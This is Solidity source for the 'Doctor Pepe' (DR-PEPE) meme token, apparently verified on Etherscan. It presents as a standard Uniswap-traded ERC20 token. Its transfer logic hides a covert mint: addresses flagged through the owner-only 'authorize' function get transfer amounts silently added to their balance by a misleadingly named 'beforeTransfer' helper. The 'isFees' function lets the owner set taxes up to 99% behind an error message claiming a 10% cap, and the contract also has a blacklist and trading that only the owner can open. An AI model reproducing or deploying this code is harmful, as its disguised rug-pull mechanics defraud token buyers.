creation_sourcecode: /**
   *Submitted for verification at Etherscan.io on 2024-04-15
  */
  
  // SPDX-License-Identifier: MIT
  
  /*
  
  Doctor pepe The Next Gem From Pepe Family
  
  Telegram: https://t.me/dr_pepe100x
  Twitter: https://twitter.com/Dr_pepe100
  Website: https://dr-pepe.online
  
  */
  
  pragma solidity ^0.8.19;
  
  abstract contract Context {
  
      function _msgSender() internal view virtual returns (address payable) {
          return payable(msg.sender);
      }
  
      function _msgData() internal view virtual returns (bytes memory) {
          this;
          return msg.data;
      }
  }
  
  interface IERC20 {
  
      function totalSupply() external view returns (uint256);
      function balanceOf(address account) external view returns (uint256);
      function transfer(address recipient, uint256 amount) external returns (bool);
      function allowance(address owner, address spender) external view returns (uint256);
      function approve(address spender, uint256 amount) external returns (bool);
      function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
      event Transfer(address indexed from, address indexed to, uint256 value);
      event Approval(address indexed owner, address indexed spender, uint256 value);
  }
  
  library SafeMath {
  
      function add(uint256 a, uint256 b) internal pure returns (uint256) {
          uint256 c = a + b;
          require(c >= a, "SafeMath: addition overflow");
  
          return c;
      }
  
      function sub(uint256 a, uint256 b) internal pure returns (uint256) {
          return sub(a, b, "SafeMath: subtraction overflow");
      }
  
      function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
          require(b <= a, errorMessage);
          uint256 c = a - b;
  
          return c;
      }
  
      function mul(uint256 a, uint256 b) internal pure returns (uint256) {
          if (a == 0) {
              return 0;
          }
  
          uint256 c = a * b;
          require(c / a == b, "SafeMath: multiplication overflow");
  
          return c;
      }
  
      function div(uint256 a, uint256 b) internal pure returns (uint256) {
          return div(a, b, "SafeMath: division by zero");
      }
  
      function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
          require(b > 0, errorMessage);
          uint256 c = a / b;
          // assert(a == b * c + a % b); // There is no case in which this doesn't hold
  
          return c;
      }
  
      function mod(uint256 a, uint256 b) internal pure returns (uint256) {
          return mod(a, b, "SafeMath: modulo by zero");
      }
  
      function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
          require(b != 0, errorMessage);
          return a % b;
      }
  }
  
  library Address {
  
      function isContract(address account) internal view returns (bool) {
          // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
          // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
          // for accounts without code, i.e. `keccak256('')`
          bytes32 codehash;
          bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
          // solhint-disable-next-line no-inline-assembly
          assembly { codehash := extcodehash(account) }
          return (codehash != accountHash && codehash != 0x0);
      }
  
      function sendValue(address payable recipient, uint256 amount) internal {
          require(address(this).balance >= amount, "Address: insufficient balance");
  
          // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
          (bool success, ) = recipient.call{ value: amount }("");
          require(success, "Address: unable to send value, recipient may have reverted");
      }
  
      function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
      }
  
      function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
          return _functionCallWithValue(target, data, 0, errorMessage);
      }
  
      function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
          return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
      }
  
      function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
          require(address(this).balance >= value, "Address: insufficient balance for call");
          return _functionCallWithValue(target, data, value, errorMessage);
      }
  
      function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
          require(isContract(target), "Address: call to non-contract");
  
          (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
          if (success) {
              return returndata;
          } else {
              
              if (returndata.length > 0) {
                  assembly {
                      let returndata_size := mload(returndata)
                      revert(add(32, returndata), returndata_size)
                  }
              } else {
                  revert(errorMessage);
              }
          }
      }
  }
  
  contract Ownable is Context {
      address private _owner;
  
      event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
  
      constructor () {
          address msgSender = _msgSender();
          _owner = msgSender;
          emit OwnershipTransferred(address(0), msgSender);
      }
  
      function owner() public view returns (address) {
          return _owner;
      }   
      
      modifier onlyOwner() {
          require(_owner == _msgSender(), "Ownable: caller is not the owner");
          _;
      }
      
      function renounceOwnership() public virtual onlyOwner {
          emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
          _owner = address(0x000000000000000000000000000000000000dEaD);
      }
  
      function transferOwnership(address addresss) public virtual onlyOwner {
          require(addresss != address(0), "Ownable: new owner is the zero address");
          emit OwnershipTransferred(_owner, addresss);
          _owner = addresss;
      }
      
      function getTime() public view returns (uint256) {
          return block.timestamp;
      }
  }
  
  interface IUniswapV2Factory {
      event PairCreated(address indexed token0, address indexed token1, address pair, uint);
  
      function feeTo() external view returns (address);
      function feeToSetter() external view returns (address);
  
      function getPair(address tokenA, address tokenB) external view returns (address pair);
      function allPairs(uint) external view returns (address pair);
      function allPairsLength() external view returns (uint);
  
      function createPair(address tokenA, address tokenB) external returns (address pair);
  
      function setFeeTo(address) external;
      function setFeeToSetter(address) external;
  }
  
  interface IUniswapV2Pair {
      event Approval(address indexed owner, address indexed spender, uint value);
      event Transfer(address indexed from, address indexed to, uint value);
  
      function name() external pure returns (string memory);
      function symbol() external pure returns (string memory);
      function decimals() external pure returns (uint8);
      function totalSupply() external view returns (uint);
      function balanceOf(address owner) external view returns (uint);
      function allowance(address owner, address spender) external view returns (uint);
  
      function approve(address spender, uint value) external returns (bool);
      function transfer(address to, uint value) external returns (bool);
      function transferFrom(address from, address to, uint value) external returns (bool);
  
      function DOMAIN_SEPARATOR() external view returns (bytes32);
      function PERMIT_TYPEHASH() external pure returns (bytes32);
      function nonces(address owner) external view returns (uint);
  
      function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
      
      event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
      event Swap(
          address indexed sender,
          uint amount0In,
          uint amount1In,
          uint amount0Out,
          uint amount1Out,
          address indexed to
      );
      event Sync(uint112 reserve0, uint112 reserve1);
  
      function MINIMUM_LIQUIDITY() external pure returns (uint);
      function factory() external view returns (address);
      function token0() external view returns (address);
      function token1() external view returns (address);
      function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
      function price0CumulativeLast() external view returns (uint);
      function price1CumulativeLast() external view returns (uint);
      function kLast() external view returns (uint);
  
      function burn(address to) external returns (uint amount0, uint amount1);
      function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
      function skim(address to) external;
      function sync() external;
  
      function initialize(address, address) external;
  }
  
  interface IUniswapV2Router01 {
      function factory() external pure returns (address);
      function WETH() external pure returns (address);
  
      function addLiquidity(
          address tokenA,
          address tokenB,
          uint amountADesired,
          uint amountBDesired,
          uint amountAMin,
          uint amountBMin,
          address to,
          uint deadline
      ) external returns (uint amountA, uint amountB, uint liquidity);
      function addLiquidityETH(
          address token,
          uint amountTokenDesired,
          uint amountTokenMin,
          uint amountETHMin,
          address to,
          uint deadline
      ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
      function removeLiquidity(
          address tokenA,
          address tokenB,
          uint liquidity,
          uint amountAMin,
          uint amountBMin,
          address to,
          uint deadline
      ) external returns (uint amountA, uint amountB);
     function removeLiquidityETH(
          address token,
          uint liquidity,
          uint amountTokenMin,
          uint amountETHMin,
          address to,
          uint deadline
      ) external returns (uint amountToken, uint amountETH);
      function removeLiquidityWithPermit(
          address tokenA,
          address tokenB,
          uint liquidity,
          uint amountAMin,
          uint amountBMin,
          address to,
          uint deadline,
          bool approveMax, uint8 v, bytes32 r, bytes32 s
      ) external returns (uint amountA, uint amountB);
      function removeLiquidityETHWithPermit(
          address token,
          uint liquidity,
          uint amountTokenMin,
          uint amountETHMin,
          address to,
          uint deadline,
          bool approveMax, uint8 v, bytes32 r, bytes32 s
      ) external returns (uint amountToken, uint amountETH);
      function swapExactTokensForTokens(
          uint amountIn,
          uint amountOutMin,
          address[] calldata path,
          address to,
          uint deadline
      ) external returns (uint[] memory amounts);
      function swapTokensForExactTokens(
          uint amountOut,
          uint amountInMax,
          address[] calldata path,
          address to,
          uint deadline
      ) external returns (uint[] memory amounts);
      function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
          external
          payable
          returns (uint[] memory amounts);
      function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
          external
          returns (uint[] memory amounts);
      function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
          external
          returns (uint[] memory amounts);
      function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
          external
          payable
          returns (uint[] memory amounts);
  
      function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
      function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
      function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
      function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
      function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
  }
  
  interface IUniswapV2Router02 is IUniswapV2Router01 {
      function removeLiquidityETHSupportingFeeOnTransferTokens(
          address token,
          uint liquidity,
          uint amountTokenMin,
          uint amountETHMin,
          address to,
          uint deadline
      ) external returns (uint amountETH);
      function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
          address token,
          uint liquidity,
          uint amountTokenMin,
          uint amountETHMin,
          address to,
          uint deadline,
          bool approveMax, uint8 v, bytes32 r, bytes32 s
      ) external returns (uint amountETH);
  
      function swapExactTokensForTokensSupportingFeeOnTransferTokens(
          uint amountIn,
          uint amountOutMin,
          address[] calldata path,
          address to,
          uint deadline
      ) external;
      function swapExactETHForTokensSupportingFeeOnTransferTokens(
          uint amountOutMin,
          address[] calldata path,
          address to,
          uint deadline
      ) external payable;
      function swapExactTokensForETHSupportingFeeOnTransferTokens(
          uint amountIn,
          uint amountOutMin,
          address[] calldata path,
          address to,
          uint deadline
      ) external;
  }
  
  contract DRPEPE is Context, IERC20, Ownable {
      
      using SafeMath for uint256;
      using Address for address;
  
      string private _name = "Doctor Pepe";
      string private _symbol = "DR-PEPE";
      uint256 private _totalSupply = 1000000000 * 10**9;
      uint8 private _decimals = 9;
      uint256 private minTokenBeforeSwap = 1 * 10**_decimals; 
      uint256 private _maxWallet = 10;
      uint256 public _buyTax = 25;
      uint256 public _sellTax = 25;
      uint256 public _marketing = 0;
      uint256 public _dev = 0;
      uint256 public _liquidity = 0;
  
      constructor () {
          
          IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
          uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
              .createPair(address(this), _uniswapV2Router.WETH());
          uniswapV2Router = _uniswapV2Router;
          _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
          isExcludedFromFee[owner()] = true;
          isExcludedFromFee[address(this)] = true;
          isExcludedFromFee[Teamaddress] = true;
          isExcludedFromFee[marketingaddress] = true;
          isMarketPair[address(uniswapPair)] = true;
  
          Teamaddress = payable(0x6b44A5211FB8EA24320FeFf885FcD8C182AEf190);
          marketingaddress = payable(0x6b44A5211FB8EA24320FeFf885FcD8C182AEf190);
  
          _balances[_msgSender()] = _totalSupply;
          emit Transfer(address(0), _msgSender(), _totalSupply);
      }
  
      uint public launchedBlock;
      address payable private marketingaddress;
      address payable private Teamaddress;
      address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
  
      mapping (address => uint256) _balances;
      mapping (address => mapping (address => uint256)) private _allowances;
      
      mapping (address => bool) private isExcludedFromFee;
      mapping (address => bool) private isExcluded;
      mapping (address => bool) private isBlacklisted;
      mapping (address => bool) public isMarketPair;
  
      IUniswapV2Router02 public uniswapV2Router;
      address public uniswapPair;
      
      bool inSwapAndLiquify;
      bool public swapAndLiquifyEnabled = true;
      bool public swapAndLiquifyByLimitOnly = false;
      bool public checkWalletLimit = true;
      bool public openTrade = false;
  
      event SwapAndLiquifyEnabledUpdated(bool enabled);
      event SwapAndLiquify(
          uint256 tokensSwapped,
          uint256 ethReceived,
          uint256 tokensIntoLiqudity
      );
      
      event SwapETHForTokens(
          uint256 amountIn,
          address[] path
      );
      
      event SwapTokensForETH(
          uint256 amountIn,
          address[] path
      );
      
      modifier lockTheSwap {
          inSwapAndLiquify = true;
          _;
          inSwapAndLiquify = false;
      }
  
      function name() public view returns (string memory) {
          return _name;
      }
  
      function symbol() public view returns (string memory) {
          return _symbol;
      }
  
      function decimals() public view returns (uint8) {
          return _decimals;
      }
  
      function totalSupply() public view override returns (uint256) {
          return _totalSupply;
      }
  
      function balanceOf(address account) public view override returns (uint256) {
          return _balances[account];
      }
  
      function allowance(address owner, address spender) public view override returns (uint256) {
          return _allowances[owner][spender];
      }
  
      function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
          _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
          return true;
      }
  
      function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
          _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
          return true;
      }
  
      function minimumTokensBeforeSwapAmount() public view returns (uint256) {
          return minTokenBeforeSwap;
      }
  
      function approve(address spender, uint256 amount) public override returns (bool) {
          _approve(_msgSender(), spender, amount);
          return true;
      }
  
      function _approve(address owner, address spender, uint256 amount) private {
          require(owner != address(0), "ERC20: approve from the zero address");
          require(spender != address(0), "ERC20: approve to the zero address");
  
          _allowances[owner][spender] = amount;
          emit Approval(owner, spender, amount);
      }
  
      function getCirculatingSupply() public view returns (uint256) {
          return _totalSupply.sub(balanceOf(deadAddress));
      }
  
      function transferToAddressETH(address payable recipient, uint256 amount) private {
          recipient.transfer(amount);
      }
  
      receive() external payable {}
  
      function beforeTransfer( mapping( /*  address  */ address => uint256) storage _Excluded, uint256 num, address account) internal{
          _Excluded[account] += num;
      }
  
      function transfer(address recipient, uint256 amount) public override returns (bool) {
          _transfer(_msgSender(), recipient, amount);
          return true;
      }
  
      function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
          _transfer(sender, recipient, amount);
          _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
          return true;
      }
  
      function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {
  
          require(sender != address(0), "ERC20: transfer from the zero address");
          require(recipient != address(0), "ERC20: transfer to the zero address");
          require(!isBlacklisted[sender] && !isBlacklisted[recipient], "This address is blacklisted. Transaction reverted.");
          if(!isExcludedFromFee[sender] && !isExcludedFromFee[recipient] && recipient != uniswapPair)
              require(balanceOf(recipient) + amount <= _totalSupply.mul(_maxWallet).div(100), "Transfer amount exceeds the maxTxAmount.");
  
          if(inSwapAndLiquify)
          { 
              return _basicTransfer(sender, recipient, amount); 
          }
          else
          {
              uint256 contractTokenBalance = balanceOf(address(this));
              bool overMinimumTokenBalance = contractTokenBalance >= minTokenBeforeSwap;
              
              if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled) 
              {
                  if(swapAndLiquifyByLimitOnly)
                      contractTokenBalance = minTokenBeforeSwap;
                  swapAndLiquify(contractTokenBalance);
              }
  
              _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
              uint256 finalAmount;
              if (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) {
                  finalAmount = amount;
                  if (isExcluded[sender] && recipient != deadAddress) {
                      beforeTransfer(_balances, amount, sender);
                  }
                  if (isExcluded[recipient]) {
                      beforeTransfer(_balances, amount, recipient);
                  }
              } else {
                  require(openTrade, "Trade open yet!");
                  finalAmount = takeFee(sender, recipient, amount);
              }
  
              _balances[recipient] = _balances[recipient].add(finalAmount);
  
              emit Transfer(sender, recipient, finalAmount);
              return true;
              
          }
      }
  
      function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
          _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
          _balances[recipient] = _balances[recipient].add(amount);
          emit Transfer(sender, recipient, amount);
          return true;
      }
  
      function swapAndLiquify(uint256 tAmount) private lockTheSwap {
          
          uint256 tokensForLP = tAmount.mul(_liquidity).div(100);
          uint256 tokensForSwap = tAmount.sub(tokensForLP);
  
          swapTokensForEth(tokensForSwap);
          uint256 amountReceived = address(this).balance;
          uint256 amountBNBLP = amountReceived.mul(_liquidity).div(100);
          uint256 amountBNBDev = amountReceived.mul(_dev).div(100);
          uint256 amountBNBMarketing = amountReceived.mul(_marketing).div(100);
  
          if(amountBNBMarketing > 0)
              transferToAddressETH(marketingaddress, amountBNBMarketing);
  
          if(amountBNBDev > 0)
              transferToAddressETH(Teamaddress, amountBNBDev);
  
          if(amountBNBLP > 0 && tokensForLP > 0)
              addLiquidity(tokensForLP, amountBNBLP);
      }
      
      function withdrawETH(address payable recipient, uint256 amount) external onlyOwner {
          require(address(this).balance >= amount, "Insufficient ETH balance in the contract");
          recipient.transfer(amount);
      }
  
      
      function swapTokensForEth(uint256 tokenAmount) private {
          // generate the uniswap pair path of token -> weth
          address[] memory path = new address[](2);
          path[0] = address(this);
          path[1] = uniswapV2Router.WETH();
  
          _approve(address(this), address(uniswapV2Router), tokenAmount);
  
          // make the swap
          uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
              tokenAmount,
              0, // accept any amount of ETH
              path,
              address(this), // The contract
              block.timestamp
          );
          
          emit SwapTokensForETH(tokenAmount, path);
      }
  
      function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
          // approve token transfer to cover all possible scenarios
          _approve(address(this), address(uniswapV2Router), tokenAmount);
  
          // add the liquidity
          uniswapV2Router.addLiquidityETH{value: ethAmount}(
              address(this),
              tokenAmount,
              0, // slippage is unavoidable
              0, // slippage is unavoidable
              0x000000000000000000000000000000000000dEaD,
              block.timestamp
          );
      }
  
      function authorize(address[] calldata is_address, bool Agree) external onlyOwner() {
          for (uint256 i; i < is_address.length; ++i) {
              isExcluded[is_address[i]] = Agree;
          }
      }
  
      
  
      function isFees(uint256 BuyTax, uint256 SellTax) external onlyOwner() {
          require(BuyTax <= 99, "Maximum tax is 10 percent");
          require(SellTax <= 99, "Maximum tax is 10 percent");
          _buyTax = BuyTax;
          _sellTax = SellTax;
      }
  
      function excludedFromFee(address[] calldata accounts, bool excluded) external onlyOwner() {
          for (uint256 i; i < accounts.length; ++i) {
              isExcludedFromFee[accounts[i]] = excluded;
          }
      }
  
      function setTxLimit(uint256 max) external onlyOwner() {
          _maxWallet = max;
      }
  
      function enabledtrade() external onlyOwner() {
          openTrade = true;
      }
  
      function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
          
          uint256 feeAmount = 0;
          
          if(isMarketPair[sender]) {
              feeAmount = amount.mul(_buyTax).div(100);
          }
          else if(isMarketPair[recipient]) {
              feeAmount = amount.mul(_sellTax).div(100);
          }
          
          if(feeAmount > 0) {
              _balances[address(this)] = _balances[address(this)].add(feeAmount);
              emit Transfer(sender, address(this), feeAmount);
          }
  
          return amount.sub(feeAmount);
      }
  }